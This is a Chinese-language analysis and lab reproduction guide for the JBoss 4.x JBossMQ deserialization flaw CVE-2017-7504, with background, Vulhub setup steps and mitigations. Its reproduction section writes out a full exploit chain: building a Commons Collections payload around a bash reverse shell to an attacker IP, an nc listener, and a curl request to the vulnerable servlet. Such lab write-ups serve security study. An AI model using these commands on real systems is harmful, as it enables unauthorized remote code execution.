JBoss 4.x JBossMQ JMS 反序列化漏洞(CVE-2017-7504) 技术分析文档
1. 漏洞概述
CVE-2017-7504是JBoss应用服务器4.x版本中存在的Java反序列化漏洞,影响JBossMQ的HTTP通信接口。攻击者可以通过构造恶意的序列化数据,在目标服务器上执行任意代码。
漏洞基本信息
- 漏洞编号: CVE-2017-7504
- 影响组件: JBossMQ JMS (HTTP通信接口)
- 影响版本: JBoss AS 4.x系列
- 漏洞类型: 反序列化远程代码执行
- CVSS评分: 8.1 (高危)
2. 技术背景
2.1 Java序列化与反序列化
Java序列化是将对象转换为字节流的过程,反序列化则是将字节流还原为对象的过程。相关核心类:
ObjectOutputStream.writeObject()- 序列化方法ObjectInputStream.readObject()- 反序列化方法
漏洞根源在于ObjectInputStream在反序列化时没有对生成的对象的类型做充分验证。
2.2 Apache Commons Collections库
Apache Commons Collections是一个扩展了Java标准库Collection结构的第三方基础库,提供了许多强大的数据结构类型和集合工具类。该库中的某些类可以被利用来构造恶意对象链。
3. 漏洞原理
3.1 漏洞利用路径
攻击者可以通过向以下路径发送恶意序列化数据来触发漏洞:
/jbossmq-httpil/HTTPServerILServlet
3.2 与相关漏洞的区别
- CVE-2017-7501: 利用路径为
/invoker/JMXInvokerServlet - CVE-2017-7504: 利用路径为
/jbossmq-httpil/HTTPServerILServlet
两者都利用了Apache Commons Collections库的反序列化问题,但攻击入口点不同。
4. 环境搭建
4.1 使用Vulhub搭建测试环境
-
进入Vulhub的CVE-2017-7504目录:
cd CVE-2017-7504 -
启动Docker容器:
docker-compose up -d -
验证配置:
docker-compose config -
访问测试页面确认环境正常运行:
http://[目标IP]:8080/
5. 漏洞复现步骤
5.1 准备工作
攻击机环境要求:
- Kali Linux (或其他Linux发行版)
- Java 1.8 (必须使用此版本,高版本可能不兼容)
- 安装必要的工具:curl, netcat
目标环境:
- 运行JBoss 4.x的服务器
5.2 攻击步骤详解
-
下载漏洞利用工具:
从GitHub获取JavaDeserH2HC工具:git clone https://github.com/joaomatosf/JavaDeserH2HC -
设置Java 1.8环境:
- 如果Kali使用高版本Java,需要降级到1.8
- 参考: https://blog.csdn.net/qq_44029310/article/details/126086895
-
编译并生成恶意序列化数据:
javac -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashMap.java这将生成
ExampleCommonsCollections1WithHashMap.class文件 -
生成包含反弹shell命令的序列化文件:
java -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashMap "bash -i >& /dev/tcp/[攻击机IP]/[端口] 0>&1"替换
[攻击机IP]和[端口]为实际值,生成ExampleCommonsCollections1WithHashMap.ser文件 -
在攻击机启动监听:
nc -lvp [端口] -
发送恶意请求:
curl http://[目标IP]:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ExampleCommonsCollections1WithHashMap.ser -
获取反弹shell:
如果一切正常,攻击机的nc监听端口将获得目标服务器的shell访问权限。
6. 防御措施
6.1 临时缓解方案
-
删除或重命名漏洞组件:
rm -f /jboss-as/server/default/deploy/jbossmq-httpil.sar -
限制访问:
- 通过防火墙规则限制对JBoss管理接口的访问
- 只允许可信IP访问相关端口
6.2 长期解决方案
- 升级JBoss到不受影响的版本
- 使用Java反序列化过滤器:
- 实现
ObjectInputFilter接口来限制可反序列化的类
- 实现
- 替换Apache Commons Collections库:
- 使用修复了相关问题的版本(3.2.2+)
7. 参考资源
8. 法律声明
本文档仅供安全研究和教育目的使用。任何未经授权的渗透测试或攻击行为都是非法的。使用者应对自己的行为负责,作者不承担任何法律责任。